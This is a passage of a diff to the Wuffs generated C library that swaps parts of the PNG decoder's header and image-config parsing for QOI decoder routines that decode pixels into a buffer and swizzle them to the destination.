NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } -+ -+ uint32_t coro_susp_point = self->private_impl.p_from_src_to_buffer; -+ if (coro_susp_point) { -+ v_dg = self->private_data.s_from_src_to_buffer.v_dg; -+ v_bi = self->private_data.s_from_src_to_buffer.v_bi; -+ v_bk = self->private_data.s_from_src_to_buffer.v_bk; -+ } -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ v_bk = 7936u; -+ if (self->private_impl.f_remaining_pixels_times_4 < 7936u) { -+ v_bk = ((uint32_t)(self->private_impl.f_remaining_pixels_times_4)); -+ } -+ while (v_bi < v_bk) { - { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -- uint32_t t_3; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_3 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); -- iop_a_src += 4; -- } else { -- self->private_data.s_do_decode_image_config[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; -- uint32_t num_bits_3 = ((uint32_t)(*scratch & 0xFFu)); -- *scratch >>= 8; -- *scratch <<= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_3); -- if (num_bits_3 == 24) { -- t_3 = ((uint32_t)(*scratch >> 32)); -- break; -- } -- num_bits_3 += 8u; -- *scratch |= ((uint64_t)(num_bits_3)); -- } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; - } -- v_checksum_want = t_3; -- } -- if ( ! self->private_impl.f_ignore_checksum && (v_checksum_have != v_checksum_want)) { -- status = wuffs_base__make_status(wuffs_png__error__bad_checksum); -- goto exit; -- } -- self->private_impl.f_seen_ihdr = true; -- } else if (self->private_impl.f_metadata_fourcc != 0u) { -- self->private_impl.f_call_sequence = 16u; -- status = wuffs_base__make_status(wuffs_base__note__metadata_reported); -- goto ok; -- } -- while (true) { -- if (((uint64_t)(io2_a_src - iop_a_src)) < 8u) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(8); -- continue; -+ uint8_t t_0 = *iop_a_src++; -+ v_c8 = t_0; - } -- self->private_impl.f_chunk_length = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); -- self->private_impl.f_chunk_type = ((uint32_t)((wuffs_base__peek_u64le__no_bounds_check(iop_a_src) >> 32u))); -- if (self->private_impl.f_chunk_type == 1413563465u) { -- if ( ! self->private_impl.f_seen_actl || self->private_impl.f_seen_fctl) { -- break; -+ if (v_c8 == 254u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_1 = *iop_a_src++; -+ self->private_data.f_pixel[2u] = t_1; - } -- self->private_impl.f_seen_idat = true; -- } else if (self->private_impl.f_chunk_type == 1413571686u) { -- if (self->private_impl.f_seen_idat && self->private_impl.f_seen_fctl) { -- break; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_2 = *iop_a_src++; -+ self->private_data.f_pixel[1u] = t_2; - } -- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -- goto exit; -- } -- iop_a_src += 8u; -- if ( ! self->private_impl.f_ignore_checksum && ((self->private_impl.f_chunk_type & 32u) == 0u)) { -- self->private_impl.f_chunk_type_array[0u] = ((uint8_t)((self->private_impl.f_chunk_type >> 0u))); -- self->private_impl.f_chunk_type_array[1u] = ((uint8_t)((self->private_impl.f_chunk_type >> 8u))); -- self->private_impl.f_chunk_type_array[2u] = ((uint8_t)((self->private_impl.f_chunk_type >> 16u))); -- self->private_impl.f_chunk_type_array[3u] = ((uint8_t)((self->private_impl.f_chunk_type >> 24u))); -- wuffs_base__ignore_status(wuffs_crc32__ieee_hasher__initialize(&self->private_data.f_crc32, -- sizeof (wuffs_crc32__ieee_hasher), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); -- wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_base__make_slice_u8(self->private_impl.f_chunk_type_array, 4)); -- } -- while (true) { -- v_mark = ((uint64_t)(iop_a_src - io0_a_src)); - { -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; - } -- wuffs_base__status t_4 = wuffs_png__decoder__decode_other_chunk(self, a_src, false); -- v_status = t_4; -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ uint8_t t_3 = *iop_a_src++; -+ self->private_data.f_pixel[0u] = t_3; -+ } -+ } else if (v_c8 == 255u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; - } -+ uint8_t t_4 = *iop_a_src++; -+ self->private_data.f_pixel[2u] = t_4; - } -- if ( ! self->private_impl.f_ignore_checksum && ((self->private_impl.f_chunk_type & 32u) == 0u)) { -- v_checksum_have = wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_base__io__since(v_mark, ((uint64_t)(iop_a_src - io0_a_src)), io0_a_src)); -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_5 = *iop_a_src++; -+ self->private_data.f_pixel[1u] = t_5; - } -- if (wuffs_base__status__is_ok(&v_status)) { -- break; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_6 = *iop_a_src++; -+ self->private_data.f_pixel[0u] = t_6; - } -- status = v_status; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(9); -- } -- if (self->private_impl.f_metadata_fourcc != 0u) { -- self->private_impl.f_call_sequence = 16u; -- status = wuffs_base__make_status(wuffs_base__note__metadata_reported); -- goto ok; -- } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); -- uint32_t t_5; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_5 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); -- iop_a_src += 4; -- } else { -- self->private_data.s_do_decode_image_config[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; -- uint32_t num_bits_5 = ((uint32_t)(*scratch & 0xFFu)); -- *scratch >>= 8; -- *scratch <<= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_5); -- if (num_bits_5 == 24) { -- t_5 = ((uint32_t)(*scratch >> 32)); -- break; -- } -- num_bits_5 += 8u; -- *scratch |= ((uint64_t)(num_bits_5)); -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; - } -+ uint8_t t_7 = *iop_a_src++; -+ self->private_data.f_pixel[3u] = t_7; - } -- v_checksum_want = t_5; -- } -- if ( ! self->private_impl.f_ignore_checksum && ((self->private_impl.f_chunk_type & 32u) == 0u) && (v_checksum_have != v_checksum_want)) { -- status = wuffs_base__make_status(wuffs_png__error__bad_checksum); -- goto exit; -- } -- } -- if ((self->private_impl.f_color_type == 3u) && ! self->private_impl.f_seen_plte) { -- status = wuffs_base__make_status(wuffs_png__error__missing_palette); -- goto exit; -- } -- self->private_impl.f_frame_config_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); -- self->private_impl.f_first_config_io_position = self->private_impl.f_frame_config_io_position; -- if (a_dst != NULL) { -- wuffs_base__image_config__set( -- a_dst, -- self->private_impl.f_dst_pixfmt, -- 0u, -- self->private_impl.f_width, -- self->private_impl.f_height, -- self->private_impl.f_first_config_io_position, -- ((self->private_impl.f_color_type <= 3u) && ! self->private_impl.f_seen_trns)); -- } -- if ( ! self->private_impl.f_seen_actl) { -- self->private_impl.f_num_animation_frames_value = 1u; -- self->private_impl.f_first_rect_x0 = 0u; -- self->private_impl.f_first_rect_y0 = 0u; -- self->private_impl.f_first_rect_x1 = self->private_impl.f_width; -- self->private_impl.f_first_rect_y1 = self->private_impl.f_height; -- self->private_impl.f_first_duration = 0u; -- self->private_impl.f_first_disposal = 0u; -- self->private_impl.f_first_overwrite_instead_of_blend = false; -- } -- self->private_impl.f_call_sequence = 32u; -+ } else if (((uint8_t)(v_c8 >> 6u)) == 0u) { -+ v_ci = (4u * ((uint32_t)(((uint8_t)(v_c8 & 63u))))); -+ self->private_data.f_pixel[0u] = self->private_data.f_cache[(v_ci + 0u)]; -+ self->private_data.f_pixel[1u] = self->private_data.f_cache[(v_ci + 1u)]; -+ self->private_data.f_pixel[2u] = self->private_data.f_cache[(v_ci + 2u)]; -+ self->private_data.f_pixel[3u] = self->private_data.f_cache[(v_ci + 3u)]; -+ self->private_data.f_buffer[(v_bi + 0u)] = self->private_data.f_pixel[0u]; -+ self->private_data.f_buffer[(v_bi + 1u)] = self->private_data.f_pixel[1u]; -+ self->private_data.f_buffer[(v_bi + 2u)] = self->private_data.f_pixel[2u]; -+ self->private_data.f_buffer[(v_bi + 3u)] = self->private_data.f_pixel[3u]; -+ v_bi += 4u; -+ continue; -+ } else if (((uint8_t)(v_c8 >> 6u)) == 1u) { -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ self->private_data.f_pixel[2u] += ((uint8_t)(((uint8_t)(((uint8_t)(v_c8 >> 4u)) & 3u)) + 254u)); -+ self->private_data.f_pixel[1u] += ((uint8_t)(((uint8_t)(((uint8_t)(v_c8 >> 2u)) & 3u)) + 254u)); -+ self->private_data.f_pixel[0u] += ((uint8_t)(((uint8_t)(((uint8_t)(v_c8 >> 0u)) & 3u)) + 254u)); -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ } else if (((uint8_t)(v_c8 >> 6u)) == 2u) { -+ v_dg = ((uint8_t)(((uint8_t)(v_c8 & 63u)) + 224u)); -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_8 = *iop_a_src++; -+ v_c8 = t_8; -+ } -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ self->private_data.f_pixel[2u] += ((uint8_t)(((uint8_t)(v_dg + 248u)) + ((uint8_t)(15u & ((uint8_t)(v_c8 >> 4u)))))); -+ self->private_data.f_pixel[1u] += v_dg; -+ self->private_data.f_pixel[0u] += ((uint8_t)(((uint8_t)(v_dg + 248u)) + ((uint8_t)(15u & ((uint8_t)(v_c8 >> 0u)))))); -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ } else { -+ v_bj = (v_bi + (4u * (63u & (1u + ((uint32_t)(v_c8)))))); -+ while (v_bi < v_bj) { -+ self->private_data.f_buffer[(v_bi + 0u)] = self->private_data.f_pixel[0u]; -+ self->private_data.f_buffer[(v_bi + 1u)] = self->private_data.f_pixel[1u]; -+ self->private_data.f_buffer[(v_bi + 2u)] = self->private_data.f_pixel[2u]; -+ self->private_data.f_buffer[(v_bi + 3u)] = self->private_data.f_pixel[3u]; -+ v_bi += 4u; -+ } -+ continue; -+ } -+ v_hash4 = (4u * (63u & ((((uint32_t)(self->private_data.f_pixel[2u])) * 3u) + -+ (((uint32_t)(self->private_data.f_pixel[1u])) * 5u) + -+ (((uint32_t)(self->private_data.f_pixel[0u])) * 7u) + -+ (((uint32_t)(self->private_data.f_pixel[3u])) * 11u)))); -+ self->private_data.f_cache[(v_hash4 + 0u)] = self->private_data.f_pixel[0u]; -+ self->private_data.f_cache[(v_hash4 + 1u)] = self->private_data.f_pixel[1u]; -+ self->private_data.f_cache[(v_hash4 + 2u)] = self->private_data.f_pixel[2u]; -+ self->private_data.f_cache[(v_hash4 + 3u)] = self->private_data.f_pixel[3u]; -+ self->private_data.f_buffer[(v_bi + 0u)] = self->private_data.f_pixel[0u]; -+ self->private_data.f_buffer[(v_bi + 1u)] = self->private_data.f_pixel[1u]; -+ self->private_data.f_buffer[(v_bi + 2u)] = self->private_data.f_pixel[2u]; -+ self->private_data.f_buffer[(v_bi + 3u)] = self->private_data.f_pixel[3u]; -+ v_bi += 4u; -+ } -+ self->private_impl.f_buffer_index = v_bi; - -+ goto ok; - ok: -- self->private_impl.p_do_decode_image_config[0] = 0; -+ self->private_impl.p_from_src_to_buffer = 0; - goto exit; - } - - goto suspend; - suspend: -- self->private_impl.p_do_decode_image_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_data.s_do_decode_image_config[0].v_checksum_have = v_checksum_have; -+ self->private_impl.p_from_src_to_buffer = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_data.s_from_src_to_buffer.v_dg = v_dg; -+ self->private_data.s_from_src_to_buffer.v_bi = v_bi; -+ self->private_data.s_from_src_to_buffer.v_bk = v_bk; - - goto exit; - exit: -@@ -54825,1068 +68222,1113 @@ wuffs_png__decoder__do_decode_image_config( - return status; - } - --// -------- func png.decoder.decode_ihdr -+// -------- func qoi.decoder.from_buffer_to_dst - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_png__decoder__decode_ihdr( -- wuffs_png__decoder* self, -- wuffs_base__io_buffer* a_src) { -- wuffs_base__status status = wuffs_base__make_status(NULL); -- -- uint32_t v_a32 = 0; -- uint8_t v_a8 = 0; -+wuffs_qoi__decoder__from_buffer_to_dst( -+ wuffs_qoi__decoder* self, -+ wuffs_base__pixel_buffer* a_dst) { -+ wuffs_base__pixel_format v_dst_pixfmt = {0}; -+ uint32_t v_dst_bits_per_pixel = 0; -+ uint32_t v_dst_bytes_per_pixel = 0; -+ uint64_t v_dst_bytes_per_row = 0; -+ wuffs_base__table_u8 v_tab = {0}; -+ uint32_t v_bi = 0; -+ uint32_t v_rem_x = 0; -+ wuffs_base__slice_u8 v_dst = {0}; -+ wuffs_base__slice_u8 v_src = {0}; -+ uint32_t v_src_length = 0; -+ uint64_t v_i = 0; - -- const uint8_t* iop_a_src = NULL; -- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_src && a_src->data.ptr) { -- io0_a_src = a_src->data.ptr; -- io1_a_src = io0_a_src + a_src->meta.ri; -- iop_a_src = io1_a_src; -- io2_a_src = io0_a_src + a_src->meta.wi; -+ v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); -+ v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); -+ if ((v_dst_bits_per_pixel & 7u) != 0u) { -+ return wuffs_base__make_status(wuffs_base__error__unsupported_option); - } -- -- uint32_t coro_susp_point = self->private_impl.p_decode_ihdr[0]; -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -- -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- uint32_t t_0; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_0 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); -- iop_a_src += 4; -- } else { -- self->private_data.s_decode_ihdr[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_decode_ihdr[0].scratch; -- uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); -- *scratch >>= 8; -- *scratch <<= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); -- if (num_bits_0 == 24) { -- t_0 = ((uint32_t)(*scratch >> 32)); -- break; -- } -- num_bits_0 += 8u; -- *scratch |= ((uint64_t)(num_bits_0)); -- } -- } -- v_a32 = t_0; -- } -- if ((v_a32 == 0u) || (v_a32 > 2147483647u)) { -- status = wuffs_base__make_status(wuffs_png__error__bad_header); -- goto exit; -- } else if (v_a32 > 16777215u) { -- status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); -- goto exit; -- } -- self->private_impl.f_width = v_a32; -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -- uint32_t t_1; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_1 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); -- iop_a_src += 4; -- } else { -- self->private_data.s_decode_ihdr[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_decode_ihdr[0].scratch; -- uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); -- *scratch >>= 8; -- *scratch <<= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); -- if (num_bits_1 == 24) { -- t_1 = ((uint32_t)(*scratch >> 32)); -- break; -- } -- num_bits_1 += 8u; -- *scratch |= ((uint64_t)(num_bits_1)); -- } -- } -- v_a32 = t_1; -- } -- if ((v_a32 == 0u) || (v_a32 > 2147483647u)) { -- status = wuffs_base__make_status(wuffs_png__error__bad_header); -- goto exit; -- } else if (v_a32 > 16777215u) { -- status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); -- goto exit; -- } -- self->private_impl.f_height = v_a32; -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_2 = *iop_a_src++; -- v_a8 = t_2; -- } -- if (v_a8 > 16u) { -- status = wuffs_base__make_status(wuffs_png__error__bad_header); -- goto exit; -- } -- self->private_impl.f_depth = v_a8; -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_3 = *iop_a_src++; -- v_a8 = t_3; -- } -- if ((v_a8 == 1u) || (v_a8 == 5u) || (v_a8 > 6u)) { -- status = wuffs_base__make_status(wuffs_png__error__bad_header); -- goto exit; -- } -- self->private_impl.f_color_type = v_a8; -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_4 = *iop_a_src++; -- v_a8 = t_4; -- } -- if (v_a8 != 0u) { -- status = wuffs_base__make_status(wuffs_png__error__unsupported_png_compression_method); -- goto exit; -- } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -+ v_dst_bytes_per_pixel = (v_dst_bits_per_pixel / 8u); -+ v_dst_bytes_per_row = ((uint64_t)((self->private_impl.f_width * v_dst_bytes_per_pixel))); -+ v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); -+ while (v_bi < self->private_impl.f_buffer_index) { -+ if (self->private_impl.f_width <= self->private_impl.f_dst_x) { -+ self->private_impl.f_dst_x = 0u; -+ self->private_impl.f_dst_y += 1u; -+ if (self->private_impl.f_dst_y >= self->private_impl.f_height) { -+ break; - } -- uint8_t t_5 = *iop_a_src++; -- v_a8 = t_5; -- } -- if (v_a8 != 0u) { -- status = wuffs_base__make_status(wuffs_png__error__bad_header); -- goto exit; -+ v_rem_x = self->private_impl.f_width; -+ } else { -+ v_rem_x = (self->private_impl.f_width - self->private_impl.f_dst_x); - } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_6 = *iop_a_src++; -- v_a8 = t_6; -+ v_src = wuffs_base__make_slice_u8_ij(self->private_data.f_buffer, v_bi, self->private_impl.f_buffer_index); -+ if (((uint64_t)((4u * v_rem_x))) < ((uint64_t)(v_src.len))) { -+ v_src = wuffs_base__slice_u8__subslice_j(v_src, ((uint64_t)((4u * v_rem_x)))); - } -- if (v_a8 == 0u) { -- self->private_impl.f_interlace_pass = 0u; -- } else if (v_a8 == 1u) { -- self->private_impl.f_interlace_pass = 1u; -- self->private_impl.choosy_filter_and_swizzle = ( -- &wuffs_png__decoder__filter_and_swizzle_tricky); -- } else { -- status = wuffs_base__make_status(wuffs_png__error__bad_header); -- goto exit; -+ v_src_length = ((uint32_t)(((uint64_t)(v_src.len)))); -+ v_bi += v_src_length; -+ v_dst = wuffs_private_impl__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); -+ if (v_dst_bytes_per_row < ((uint64_t)(v_dst.len))) { -+ v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_dst_bytes_per_row); - } -- self->private_impl.f_filter_distance = 0u; -- wuffs_png__decoder__assign_filter_distance(self); -- if (self->private_impl.f_filter_distance == 0u) { -- status = wuffs_base__make_status(wuffs_png__error__bad_header); -- goto exit; -+ v_i = (((uint64_t)(self->private_impl.f_dst_x)) * ((uint64_t)(v_dst_bytes_per_pixel))); -+ self->private_impl.f_dst_x += (v_src_length / 4u); -+ if (v_i < ((uint64_t)(v_dst.len))) { -+ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, wuffs_base__slice_u8__subslice_i(v_dst, v_i), wuffs_base__pixel_buffer__palette(a_dst), v_src); - } -- self->private_impl.f_overall_workbuf_length = (((uint64_t)(self->private_impl.f_height)) * (1u + wuffs_png__decoder__calculate_bytes_per_row(self, self->private_impl.f_width))); -- wuffs_png__decoder__choose_filter_implementations(self); -+ } -+ return wuffs_base__make_status(NULL); -+} - -- goto ok; -- ok: -- self->private_impl.p_decode_ihdr[0] = 0; -- goto exit; -+// -------- func qoi.decoder.frame_dirty_rect -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 -+wuffs_qoi__decoder__frame_dirty_rect( -+ const wuffs_qoi__decoder* self) { -+ if (!self) { -+ return wuffs_base__utility__empty_rect_ie_u32(); -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return wuffs_base__utility__empty_rect_ie_u32(); - } - -- goto suspend; -- suspend: -- self->private_impl.p_decode_ihdr[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ return wuffs_base__utility__make_rect_ie_u32( -+ 0u, -+ 0u, -+ self->private_impl.f_width, -+ self->private_impl.f_height); -+} -+ -+// -------- func qoi.decoder.num_animation_loops -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint32_t -+wuffs_qoi__decoder__num_animation_loops( -+ const wuffs_qoi__decoder* self) { -+ if (!self) { -+ return 0; -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; -+ } -+ -+ return 0u; -+} -+ -+// -------- func qoi.decoder.num_decoded_frame_configs -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_qoi__decoder__num_decoded_frame_configs( -+ const wuffs_qoi__decoder* self) { -+ if (!self) { -+ return 0; -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; -+ } -+ -+ if (self->private_impl.f_call_sequence > 32u) { -+ return 1u; -+ } -+ return 0u; -+} - -+// -------- func qoi.decoder.num_decoded_frames -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_qoi__decoder__num_decoded_frames( -+ const wuffs_qoi__decoder* self) { -+ if (!self) { -+ return 0; -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; -+ } -+ -+ if (self->private_impl.f_call_sequence > 64u) { -+ return 1u; -+ } -+ return 0u; -+} -+ -+// -------- func qoi.decoder.restart_frame -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_qoi__decoder__restart_frame( -+ wuffs_qoi__decoder* self, -+ uint64_t a_index, -+ uint64_t a_io_position) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ -+ if (self->private_impl.f_call_sequence < 32u) { -+ return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); -+ } -+ if ((a_index != 0u) || (a_io_position != 14u)) { -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ self->private_impl.f_call_sequence = 40u; -+ return wuffs_base__make_status(NULL); -+} -+ -+// -------- func qoi.decoder.set_report_metadata -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct -+wuffs_qoi__decoder__set_report_metadata( -+ wuffs_qoi__decoder* self, -+ uint32_t a_fourcc, -+ bool a_report) { -+ return wuffs_base__make_empty_struct(); -+} -+ -+// -------- func qoi.decoder.tell_me_more -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_qoi__decoder__tell_me_more( -+ wuffs_qoi__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__more_information* a_minfo, -+ wuffs_base__io_buffer* a_src) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ if (!a_dst || !a_src) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ if ((self->private_impl.active_coroutine != 0) && -+ (self->private_impl.active_coroutine != 4)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -+ } -+ self->private_impl.active_coroutine = 0; -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ status = wuffs_base__make_status(wuffs_base__error__no_more_information); -+ goto exit; -+ -+ goto ok; -+ ok: - goto exit; - exit: -- if (a_src && a_src->data.ptr) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ if (wuffs_base__status__is_error(&status)) { -+ self->private_impl.magic = 